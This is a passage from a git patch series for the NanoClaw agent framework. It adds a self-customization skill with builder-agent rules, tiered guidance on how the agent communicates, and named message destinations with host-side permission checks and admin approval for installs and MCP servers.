JSON.stringify(parsed) : contentStr; +} + /** Open the inbound DB for a session (host reads/writes). */ export function openInboundDb(agentGroupId: string, sessionId: string): Database.Database { const dbPath = inboundDbPath(agentGroupId, sessionId); @@ -201,6 +242,27 @@ export function openSessionDb(agentGroupId: string, sessionId: string): Database return openInboundDb(agentGroupId, sessionId); } +/** Write a system response to a session's inbound.db so the container's findQuestionResponse() picks it up. */ +export function writeSystemResponse( + agentGroupId: string, + sessionId: string, + requestId: string, + status: string, + result: Record, +): void { + writeSessionMessage(agentGroupId, sessionId, { + id: `sys-resp-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + timestamp: new Date().toISOString(), + content: JSON.stringify({ + type: 'question_response', + questionId: requestId, + status, + result, + }), + }); +} + /** Mark a container as running for a session. */ export function markContainerRunning(sessionId: string): void { updateSession(sessionId, { container_status: 'running', last_active: new Date().toISOString() }); diff --git a/src/types.ts b/src/types.ts index 5d473d6..0d6983d 100644 --- a/src/types.ts +++ b/src/types.ts @@ -88,3 +88,14 @@ export interface PendingQuestion { thread_id: string | null; created_at: string; } + +// ── Pending approvals (central DB) ── + +export interface PendingApproval { + approval_id: string; + session_id: string; + request_id: string; + action: string; + payload: string; // JSON + created_at: string; +} From 6eb81b57373f6b0cf3131d3f263bd55a0edf0ab1 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 01:10:58 +0300 Subject: [PATCH 099/485] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/channel-registry.test.ts | 6 +++++- src/delivery.ts | 30 +++++++++++++++++++++++---- src/index.ts | 8 ++++++- 3 files changed, 38 insertions(+), 6 deletions(-) diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 25ceab3..fafb565 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -54,7 +54,11 @@ function createMockAdapter( return setupConfig !== null; }, - async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage): Promise { + async deliver( + _platformId: string, + _threadId: string | null, + message: OutboundMessage, + ): Promise { delivered.push(message); return undefined; }, diff --git a/src/delivery.ts b/src/delivery.ts index 74be38d..047d696 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -12,11 +12,25 @@ import fs from 'fs'; import path from 'path'; import { GROUPS_DIR } from './config.js'; -import { getRunningSessions, getActiveSessions, createPendingQuestion, getSession, createPendingApproval } from './db/sessions.js'; +import { + getRunningSessions, + getActiveSessions, + createPendingQuestion, + getSession, + createPendingApproval, +} from './db/sessions.js'; import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js'; import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; -import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath, resolveSession, writeSessionMessage, writeSystemResponse } from './session-manager.js'; +import { + openInboundDb, + openOutboundDb, + sessionDir, + inboundDbPath, + resolveSession, + writeSessionMessage, + writeSystemResponse, +} from './session-manager.js'; import { resetContainerIdleTimer, wakeContainer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types.js'; @@ -321,7 +335,11 @@ async function routeAgentMessage( content: enrichedContent, }); - log.info('Agent message routed', { from: sourceSession.agent_group_id, to: targetAgentGroupId, targetSession: targetSession.id }); + log.info('Agent message routed', { + from: sourceSession.agent_group_id, + to: targetAgentGroupId, + targetSession: targetSession.id, + }); const freshSession = getSession(targetSession.id); if (freshSession) { @@ -419,7 +437,11 @@ async function handleSystemAction( const requestId = content.requestId as string; const name = content.name as string; let folder = - (content.folder as string) || name.toLowerCase().replace(/[^a-z0-9_-]/g, '_').replace(/_+/g, '_'); + (content.folder as string) || + name + .toLowerCase() + .replace(/[^a-z0-9_-]/g, '_') + .replace(/_+/g, '_'); const instructions = content.instructions as string | null; try { diff --git a/src/index.ts b/src/index.ts index 0b29e6f..29bb3e2 100644 --- a/src/index.ts +++ b/src/index.ts @@ -14,7 +14,13 @@ import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runti import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; import { routeInbound } from './router.js'; -import { getPendingQuestion, deletePendingQuestion, getPendingApproval, deletePendingApproval, getSession } from './db/sessions.js'; +import { + getPendingQuestion, + deletePendingQuestion, + getPendingApproval, + deletePendingApproval, + getSession, +} from './db/sessions.js'; import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js'; import { writeSessionMessage, writeSystemResponse } from './session-manager.js'; import { wakeContainer, buildAgentGroupImage } from './container-runner.js'; From 4004a6b28412cdb0de84f25e759785abcb0c1e53 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 15:02:32 +0300 Subject: [PATCH 100/485] docs: add self-customize skill and refine communication guidance MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Self-customize skill lives in container/skills/ so it's loaded into the agent container at runtime. Documents the builder-agent pattern with diff size limits for safer self-modification. CLAUDE.md communication section now has three tiers (short / longer / long-running) instead of a single blanket rule — agents should acknowledge upfront on longer work and update before slow operations, but stay silent on quick tasks. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/skills/self-customize/SKILL.md | 90 ++++++++++++++++++++++++ groups/global/CLAUDE.md | 12 +++- 2 files changed, 100 insertions(+), 2 deletions(-) create mode 100644 container/skills/self-customize/SKILL.md diff --git a/container/skills/self-customize/SKILL.md b/container/skills/self-customize/SKILL.md new file mode 100644 index 0000000..5834dec --- /dev/null +++ b/container/skills/self-customize/SKILL.md @@ -0,0 +1,90 @@ +--- +name: self-customize +description: Customize your own agent — add capabilities, install packages, add MCP servers, edit code or CLAUDE.md. Use when the user asks you to add a feature, install a tool, or modify how you work. For non-trivial code changes, delegate to a builder agent via create_agent. +--- + +# Self-Customization + +You can modify your own environment. Different kinds of changes have different workflows. + +## Decision Tree + +**What needs to change?** + +- **Your CLAUDE.md or files in your workspace** → Edit directly, no approval needed. Your workspace (`/workspace/agent/`) is persisted on the host. +- **System package (apt) or global npm package** → `install_packages` → `request_rebuild`. Requires admin approval. +- **MCP server** → `add_mcp_server` → `request_rebuild`. No approval needed, but rebuild required to apply. +- **Your source code or Dockerfile** → Delegate to a builder agent via `create_agent` (see below). +- **A new specialist capability** → `create_agent` to spin up a dedicated agent for it. + +## Workflow: Code Changes via Builder Agent + +For anything that requires editing source files (your own code, Dockerfile, etc.), **do not edit directly** — delegate to a builder agent. This gives the user a reviewable boundary and keeps your main session focused. + +1. Describe what you need changed in concrete terms (files, behavior, acceptance criteria) +2. Call `create_agent({ name: "Builder", instructions: "" })` — the returned agent group ID is your builder +3. Call `send_to_agent({ agentGroupId, text: "" })` +4. The builder works in its own container, makes the changes, and reports back +5. You review the builder's summary, confirm with the user, then call `request_rebuild` if the changes require it + +### Builder Agent Instructions (use as CLAUDE.md when creating) + +``` +You are a builder agent. Your job is to make precise, minimal code changes to NanoClaw source files when the main agent requests it. + +## Rules + +- **Minimal scope.** Only change what was requested. Do not refactor surrounding code, "improve" unrelated files, or add features not asked for. +- **Diff size limits.** Reject any change that exceeds 200 new lines or 150 modified lines in a single task. If the change is larger, push back and ask for it to be split into smaller tasks. +- **Read before writing.** Always read the target file fully before editing. Understand the existing patterns. +- **Test if possible.** If there are relevant tests, run them after your change. +- **Report back.** When done, use send_to_agent to tell the requesting agent: (a) what files you changed, (b) a summary of the changes, (c) any follow-up needed (rebuild, tests, migrations). +- **No silent failures.** If you can't complete the task, explain why — don't produce partial work without flagging it. + +## Safety + +- Never edit files outside the requested scope +- Never commit or push anything +- Never modify secrets, credentials, or .env files +- If a change would break existing tests, stop and report +``` + +## Diff Size Limits — Why + +A 50-line focused change is reviewable. A 500-line sweep is not. Hard limits force the agent to decompose work into reviewable chunks, which: + +- Makes human approval meaningful (you can actually read 150 lines) +- Catches runaway edits early (if the first task hits the limit, the scope was wrong) +- Forces clear acceptance criteria per task + +The limits are **per builder task**, not per session. A 500-line feature is fine as 4 sequential builder tasks of ~125 lines each, each with its own scope. + +## Example: Adding a New MCP Tool to Yourself + +User: "Can you add a tool for reading RSS feeds?" + +1. Check [mcp.so](https://mcp.so) for an existing RSS MCP server +2. If one exists → `add_mcp_server({ name: "rss", command: "npx", args: ["some-rss-mcp"] })` → `request_rebuild` → done +3. If nothing suitable exists → delegate to a builder agent: + - `create_agent({ name: "RSS Tool Builder", instructions: "" })` + - `send_to_agent({ agentGroupId, text: "Add an MCP tool 'read_rss' to container/agent-runner/src/mcp-tools/. It should fetch an RSS URL and return the latest N items. Register it in mcp-tools/index.ts. Target: <200 new lines." })` + - Wait for builder's report + - `request_rebuild` if needed + +## Example: Installing a System Tool + +User: "Can you transcribe audio?" + +1. Check what's available — `which ffmpeg` (likely not installed in base image) +2. Decide approach: `@xenova/transformers` (npm, workspace-local) or `whisper.cpp` (apt + compile) +3. For persistent system tool: `install_packages({ apt: ["ffmpeg"], npm: ["@xenova/transformers"], reason: "Audio transcription for voice messages" })` +4. Wait for admin approval +5. `request_rebuild({ reason: "Apply audio transcription packages" })` +6. Wait for admin approval +7. Test the new capability once the container restarts + +## When NOT to Self-Customize + +- **The change is for a one-off task** — just do it in your workspace, don't modify the container +- **The request is ambiguous** — ask the user what they actually need before spinning up builders or requesting installs +- **You don't know if it will work** — prototype in your workspace first (`npm install` in `/workspace/agent/`), then promote to container-level install if it proves useful diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index d2b2658..13bf4a8 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -14,9 +14,17 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c ## Communication -Your output is sent to the user or group. +Your output is sent to the user or group. Be concise — every message costs the reader's attention. -You also have `mcp__nanoclaw__send_message` which sends a message immediately while you're still working. This is useful when you want to acknowledge a request before starting longer work. +Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final output). Pace your updates to the length of the work: + +- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and report in your final output. No mid-work messages. +- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. Don't leave them waiting in silence. +- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. "About to install ffmpeg — this'll take a minute" is better than the user wondering if you're stuck. + +**Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call. + +**Outcomes, not play-by-play.** When the work is done, the final message should be about the result, not a transcript of what you did. ### Internal thoughts From e83ffbc1033c49bd5f2b6814dc090f2bd9f8ec8b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:31:37 +0300 Subject: [PATCH 101/485] feat: named destinations + permission enforcement + fire-and-forget self-mod MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replaces implicit routing context (NANOCLAW_PLATFORM_ID env vars) with per-agent named destination maps. Agents reference channels and peer agents by local names; the host re-validates every outbound route against a new agent_destinations table that is both the routing map and the ACL. Model changes: - New migration 004 adds agent_destinations (agent_group_id, local_name, target_type, target_id). Backfills from existing messaging_group_agents. - Host writes /workspace/.nanoclaw-destinations.json before every container wake so admin changes take effect on next start. - Container loads map at startup, appends system-prompt addendum listing available destinations and the syntax. - Agent main output is parsed for blocks; each block becomes a messages_out row with routing resolved via the local map. Untagged text and are scratchpad (logged only). - send_message MCP tool now takes `to` (destination name) instead of raw routing fields. send_to_agent deleted (redundant — agents are just destinations). send_file/edit_message/add_reaction route via map too. - Inbound formatter adds from="name" attribute via reverse-lookup so the agent sees a consistent namespace in both directions. Permission enforcement: - Host checks hasDestination() before every channel delivery AND every agent-to-agent route. Unauthorized messages dropped and logged. - routeAgentMessage simplified: ~15 lines, no JSON parse, content copied verbatim (target formatter resolves the sender via its own local map). - create_agent is admin-only, checked at both the container (tool not registered for non-admins) and the host (re-check on receive). Inserts bidirectional destination rows so parent↔child comms work immediately. Includes path-traversal guard on folder name. Self-modification cleanup: - add_mcp_server now requires admin approval (previously had none). - install_packages validates package names on BOTH sides (container tool + host receiver) with strict regex. Max 20 packages per request. - All three self-mod tools are fire-and-forget: write request, return immediately with "submitted" message. Admin approval triggers a chat notification to the requesting agent — no tool-call polling, no 5-min holds. On rebuild/mcp_server approval, the container is killed so the next wake picks up new config/image. - Approval delivery extracted into requestApproval() helper (the one place where three call sites were literally identical). Also folded in the phase-1 dynamic import cleanup (create_agent no longer does `await import('./db/agent-groups.js')`) and removes NANOCLAW_PLATFORM_ID / CHANNEL_TYPE / THREAD_ID env-var routing entirely. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/messages-out.ts | 19 + container/agent-runner/src/destinations.ts | 91 ++++ container/agent-runner/src/formatter.ts | 15 +- container/agent-runner/src/index.ts | 8 +- .../agent-runner/src/integration.test.ts | 19 +- .../agent-runner/src/mcp-tools/agents.ts | 78 +-- container/agent-runner/src/mcp-tools/core.ts | 111 +++-- container/agent-runner/src/mcp-tools/index.ts | 19 +- .../agent-runner/src/mcp-tools/self-mod.ts | 58 +-- container/agent-runner/src/poll-loop.ts | 81 +++- groups/global/CLAUDE.md | 30 +- setup/register.ts | 37 +- src/container-runner.ts | 14 +- src/db/agent-destinations.ts | 74 +++ src/db/db-v2.test.ts | 2 +- src/db/migrations/004-agent-destinations.ts | 81 ++++ src/db/migrations/index.ts | 3 +- src/delivery.ts | 457 ++++++++++-------- src/index.ts | 110 +++-- src/session-manager.ts | 43 ++ src/types.ts | 10 + 21 files changed, 942 insertions(+), 418 deletions(-) create mode 100644 container/agent-runner/src/destinations.ts create mode 100644 src/db/agent-destinations.ts create mode 100644 src/db/migrations/004-agent-destinations.ts diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index 3d2f411..2d03b37 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -103,6 +103,25 @@ export function getMessageIdBySeq(seq: number): string | null { return outRow.id; } +/** + * Look up the routing fields for a message by seq (for edit/reaction targeting). + * Returns the channel_type, platform_id, thread_id of the referenced message. + */ +export function getRoutingBySeq( + seq: number, +): { channel_type: string | null; platform_id: string | null; thread_id: string | null } | null { + const inbound = getInboundDb(); + const inRow = inbound + .prepare('SELECT channel_type, platform_id, thread_id FROM messages_in WHERE seq = ?') + .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined; + if (inRow) return inRow; + + const outRow = getOutboundDb() + .prepare('SELECT channel_type, platform_id, thread_id FROM messages_out WHERE seq = ?') + .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined; + return outRow ?? null; +} + /** Get undelivered messages (for host polling — reads from outbound.db). */ export function getUndeliveredMessages(): MessageOutRow[] { return getOutboundDb() diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts new file mode 100644 index 0000000..663dcd4 --- /dev/null +++ b/container/agent-runner/src/destinations.ts @@ -0,0 +1,91 @@ +/** + * Destination map loaded at container startup from + * /workspace/.nanoclaw-destinations.json (written by the host on wake). + * + * The map is BOTH the routing table and the ACL — if a name/target + * isn't in here, the agent can't reach it. + */ +import fs from 'fs'; + +export interface DestinationEntry { + name: string; + displayName: string; + type: 'channel' | 'agent'; + channelType?: string; + platformId?: string; + agentGroupId?: string; +} + +const DEST_FILE = '/workspace/.nanoclaw-destinations.json'; + +let cache: DestinationEntry[] = []; + +export function loadDestinations(): void { + try { + if (!fs.existsSync(DEST_FILE)) { + cache = []; + return; + } + const raw = fs.readFileSync(DEST_FILE, 'utf-8'); + const parsed = JSON.parse(raw) as { destinations?: DestinationEntry[] }; + cache = Array.isArray(parsed.destinations) ? parsed.destinations : []; + } catch (err) { + console.error(`[destinations] Failed to load: ${err instanceof Error ? err.message : String(err)}`); + cache = []; + } +} + +export function getAllDestinations(): DestinationEntry[] { + return cache; +} + +/** Test-only: inject destinations without touching the filesystem. */ +export function setDestinationsForTest(destinations: DestinationEntry[]): void { + cache = destinations; +} + +export function findByName(name: string): DestinationEntry | undefined { + return cache.find((d) => d.name === name); +} + +/** + * Reverse lookup: given routing fields from an inbound message, find + * which destination they correspond to (what does this agent call the sender?). + */ +export function findByRouting( + channelType: string | null | undefined, + platformId: string | null | undefined, +): DestinationEntry | undefined { + if (!channelType || !platformId) return undefined; + if (channelType === 'agent') { + return cache.find((d) => d.type === 'agent' && d.agentGroupId === platformId); + } + return cache.find((d) => d.type === 'channel' && d.channelType === channelType && d.platformId === platformId); +} + +/** Generate the system-prompt addendum describing destinations and syntax. */ +export function buildSystemPromptAddendum(): string { + if (cache.length === 0) { + return [ + '## Sending messages', + '', + 'You currently have no configured destinations. You cannot send messages until an admin wires one up.', + ].join('\n'); + } + + const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', '']; + for (const d of cache) { + const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; + lines.push(`- \`${d.name}\`${label}`); + } + lines.push(''); + lines.push('To send a message, wrap it in a `...` block.'); + lines.push('You can include multiple `` blocks in one response to send to multiple destinations.'); + lines.push('Text outside of `` blocks is scratchpad — logged but not sent anywhere.'); + lines.push('Use `...` to make scratchpad intent explicit.'); + lines.push(''); + lines.push( + 'To send a message mid-response (e.g., an acknowledgment before a long task), call the `send_message` MCP tool with the `to` parameter set to a destination name.', + ); + return lines.join('\n'); +} diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index 87be2d6..eca2b4d 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -1,3 +1,4 @@ +import { findByRouting } from './destinations.js'; import type { MessageInRow } from './db/messages-in.js'; /** @@ -123,7 +124,19 @@ function formatSingleChat(msg: MessageInRow): string { const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; const replyPrefix = formatReplyContext(content.replyTo); const attachmentsSuffix = formatAttachments(content.attachments); - return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; + + // Look up the destination name for the origin (reverse map lookup). + // If not found, fall back to a raw channel:platform_id marker so nothing + // gets silently dropped — this should only happen if the destination was + // removed between when the message was received and when it's being processed. + const fromDest = findByRouting(msg.channel_type, msg.platform_id); + const fromAttr = fromDest + ? ` from="${escapeXml(fromDest.name)}"` + : msg.channel_type || msg.platform_id + ? ` from="unknown:${escapeXml(msg.channel_type || '')}:${escapeXml(msg.platform_id || '')}"` + : ''; + + return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; } function formatTaskMessage(msg: MessageInRow): string { diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 1513f5c..8bada5b 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -26,6 +26,7 @@ import fs from 'fs'; import path from 'path'; import { fileURLToPath } from 'url'; +import { buildSystemPromptAddendum, loadDestinations } from './destinations.js'; import { createProvider, type ProviderName } from './providers/factory.js'; import { runPollLoop } from './poll-loop.js'; @@ -44,12 +45,17 @@ async function main(): Promise { const provider = createProvider(providerName, { assistantName }); - // Load global CLAUDE.md as additional system context + // Load destination map (written by host on every wake) + loadDestinations(); + + // Load global CLAUDE.md as additional system context, then append destinations addendum let systemPrompt: string | undefined; if (fs.existsSync(GLOBAL_CLAUDE_MD)) { systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); log('Loaded global CLAUDE.md'); } + const addendum = buildSystemPromptAddendum(); + systemPrompt = systemPrompt ? `${systemPrompt}\n\n${addendum}` : addendum; // Discover additional directories mounted at /workspace/extra/* const additionalDirectories: string[] = []; diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index ae76e87..90aae2b 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -1,6 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; +import { setDestinationsForTest } from './destinations.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { getPendingMessages } from './db/messages-in.js'; import { MockProvider } from './providers/mock.js'; @@ -8,10 +9,21 @@ import { runPollLoop } from './poll-loop.js'; beforeEach(() => { initTestSessionDb(); + // Provide a test destination map so output parsing can resolve "discord-test" → routing + setDestinationsForTest([ + { + name: 'discord-test', + displayName: 'Discord Test', + type: 'channel', + channelType: 'discord', + platformId: 'chan-1', + }, + ]); }); afterEach(() => { closeSessionDb(); + setDestinationsForTest([]); }); function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { @@ -27,7 +39,7 @@ describe('poll loop integration', () => { it('should pick up a message, process it, and write a response', async () => { insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); - const provider = new MockProvider(() => '42'); + const provider = new MockProvider(() => '42'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -40,7 +52,6 @@ describe('poll loop integration', () => { expect(JSON.parse(out[0].content).text).toBe('42'); expect(out[0].platform_id).toBe('chan-1'); expect(out[0].channel_type).toBe('discord'); - expect(out[0].thread_id).toBe('thread-1'); expect(out[0].in_reply_to).toBe('m1'); // Input message should be acked (not pending) @@ -54,7 +65,7 @@ describe('poll loop integration', () => { insertMessage('m1', { sender: 'Alice', text: 'Hello' }); insertMessage('m2', { sender: 'Bob', text: 'World' }); - const provider = new MockProvider(() => 'Got both messages'); + const provider = new MockProvider(() => 'Got both messages'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -69,7 +80,7 @@ describe('poll loop integration', () => { }); it('should process messages arriving after loop starts', async () => { - const provider = new MockProvider(() => 'Processed'); + const provider = new MockProvider(() => 'Processed'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000); diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts index a9443de..55fceac 100644 --- a/container/agent-runner/src/mcp-tools/agents.ts +++ b/container/agent-runner/src/mcp-tools/agents.ts @@ -1,7 +1,13 @@ /** - * Agent-to-agent MCP tools: send_to_agent, create_agent. + * Agent management MCP tools: create_agent. + * + * send_to_agent was removed — sending to another agent is now just + * send_message(to="agent-name") since agents and channels share the + * unified destinations namespace. + * + * create_agent is admin-only. Non-admin containers never see this tool + * (see mcp-tools/index.ts). The host re-checks permission on receive. */ -import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -21,55 +27,16 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } -function sleep(ms: number): Promise { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -export const sendToAgent: McpToolDefinition = { - tool: { - name: 'send_to_agent', - description: 'Send a message to another agent group.', - inputSchema: { - type: 'object' as const, - properties: { - agentGroupId: { type: 'string', description: 'Target agent group ID' }, - text: { type: 'string', description: 'Message content' }, - sessionId: { type: 'string', description: 'Target specific session (optional)' }, - }, - required: ['agentGroupId', 'text'], - }, - }, - async handler(args) { - const agentGroupId = args.agentGroupId as string; - const text = args.text as string; - if (!agentGroupId || !text) return err('agentGroupId and text are required'); - - const id = generateId(); - - writeMessageOut({ - id, - kind: 'chat', - channel_type: 'agent', - platform_id: agentGroupId, - thread_id: (args.sessionId as string) || null, - content: JSON.stringify({ text }), - }); - - log(`send_to_agent: ${id} → ${agentGroupId}`); - return ok(`Message sent to agent ${agentGroupId} (id: ${id})`); - }, -}; - export const createAgent: McpToolDefinition = { tool: { name: 'create_agent', - description: 'Create a new agent group dynamically. Returns the new agent group ID.', + description: + 'Create a new child agent with a given name. The name you choose becomes the destination name you use to message this agent. Admin-only. Fire-and-forget — you will receive a notification when the agent is created.', inputSchema: { type: 'object' as const, properties: { - name: { type: 'string', description: 'Agent display name' }, - instructions: { type: 'string', description: 'CLAUDE.md content (agent instructions/personality)' }, - folder: { type: 'string', description: 'Folder name (default: auto-generated from name)' }, + name: { type: 'string', description: 'Human-readable name (also becomes your destination name for this agent)' }, + instructions: { type: 'string', description: 'CLAUDE.md content for the new agent (personality, role, instructions)' }, }, required: ['name'], }, @@ -79,7 +46,6 @@ export const createAgent: McpToolDefinition = { if (!name) return err('name is required'); const requestId = generateId(); - writeMessageOut({ id: requestId, kind: 'system', @@ -88,28 +54,12 @@ export const createAgent: McpToolDefinition = { requestId, name, instructions: (args.instructions as string) || null, - folder: (args.folder as string) || null, }), }); log(`create_agent: ${requestId} → "${name}"`); - - // Poll for host response - const deadline = Date.now() + 30_000; - while (Date.now() < deadline) { - const response = findQuestionResponse(requestId); - if (response) { - const parsed = JSON.parse(response.content); - markCompleted([response.id]); - if (parsed.status === 'success') { - return ok(`Agent created: ${parsed.result.agentGroupId} (name: ${parsed.result.name}, folder: ${parsed.result.folder})`); - } - return err(parsed.result?.error || 'Failed to create agent'); - } - await sleep(1000); - } - return err('Timed out waiting for agent creation response'); + return ok(`Creating agent "${name}". You will be notified when it is ready.`); }, }; -export const agentTools: McpToolDefinition[] = [sendToAgent, createAgent]; +export const agentTools: McpToolDefinition[] = [createAgent]; diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index c607c6c..d36b029 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -1,10 +1,16 @@ /** * Core MCP tools: send_message, send_file, edit_message, add_reaction. + * + * All outbound tools resolve destinations via the local destination map + * (see destinations.ts). Agents reference destinations by name; the map + * translates name → routing tuple. Permission enforcement happens on + * the host side in delivery.ts via the agent_destinations table. */ import fs from 'fs'; import path from 'path'; -import { writeMessageOut, getMessageIdBySeq } from '../db/messages-out.js'; +import { findByName, getAllDestinations } from '../destinations.js'; +import { getMessageIdBySeq, getRoutingBySeq, writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -15,14 +21,6 @@ function generateId(): string { return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; } -function routing() { - return { - platform_id: process.env.NANOCLAW_PLATFORM_ID || null, - channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, - thread_id: process.env.NANOCLAW_THREAD_ID || null, - }; -} - function ok(text: string) { return { content: [{ type: 'text' as const, text }] }; } @@ -31,68 +29,89 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } +function destinationList(): string { + const all = getAllDestinations(); + if (all.length === 0) return '(none)'; + return all.map((d) => d.name).join(', '); +} + +function resolveRouting( + to: string, +): { channel_type: string; platform_id: string } | { error: string } { + const dest = findByName(to); + if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; + if (dest.type === 'channel') { + return { channel_type: dest.channelType!, platform_id: dest.platformId! }; + } + return { channel_type: 'agent', platform_id: dest.agentGroupId! }; +} + export const sendMessage: McpToolDefinition = { tool: { name: 'send_message', - description: 'Send a chat message to the current conversation or a specified destination.', + description: + 'Send a message to a named destination. Use destination names from your system prompt (not raw IDs).', inputSchema: { type: 'object' as const, properties: { + to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1")' }, text: { type: 'string', description: 'Message content' }, - channel: { type: 'string', description: 'Target channel type (default: reply to origin)' }, - platformId: { type: 'string', description: 'Target platform ID' }, - threadId: { type: 'string', description: 'Target thread ID' }, }, - required: ['text'], + required: ['to', 'text'], }, }, async handler(args) { + const to = args.to as string; const text = args.text as string; - if (!text) return err('text is required'); + if (!to || !text) return err('to and text are required'); + + const routing = resolveRouting(to); + if ('error' in routing) return err(routing.error); const id = generateId(); - const r = routing(); - const seq = writeMessageOut({ id, kind: 'chat', - platform_id: (args.platformId as string) || r.platform_id, - channel_type: (args.channel as string) || r.channel_type, - thread_id: (args.threadId as string) || r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: null, content: JSON.stringify({ text }), }); - log(`send_message: #${seq} ${id} → ${r.channel_type || 'default'}/${r.platform_id || 'default'}`); - return ok(`Message sent (id: ${seq})`); + log(`send_message: #${seq} → ${to}`); + return ok(`Message sent to ${to} (id: ${seq})`); }, }; export const sendFile: McpToolDefinition = { tool: { name: 'send_file', - description: 'Send a file to the current conversation.', + description: 'Send a file to a named destination.', inputSchema: { type: 'object' as const, properties: { + to: { type: 'string', description: 'Destination name' }, path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' }, text: { type: 'string', description: 'Optional accompanying message' }, filename: { type: 'string', description: 'Display name (default: basename of path)' }, }, - required: ['path'], + required: ['to', 'path'], }, }, async handler(args) { + const to = args.to as string; const filePath = args.path as string; - if (!filePath) return err('path is required'); + if (!to || !filePath) return err('to and path are required'); + + const routing = resolveRouting(to); + if ('error' in routing) return err(routing.error); const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath); if (!fs.existsSync(resolvedPath)) return err(`File not found: ${filePath}`); const id = generateId(); const filename = (args.filename as string) || path.basename(resolvedPath); - const r = routing(); - // Copy file to outbox const outboxDir = path.join('/workspace/outbox', id); fs.mkdirSync(outboxDir, { recursive: true }); fs.copyFileSync(resolvedPath, path.join(outboxDir, filename)); @@ -100,21 +119,21 @@ export const 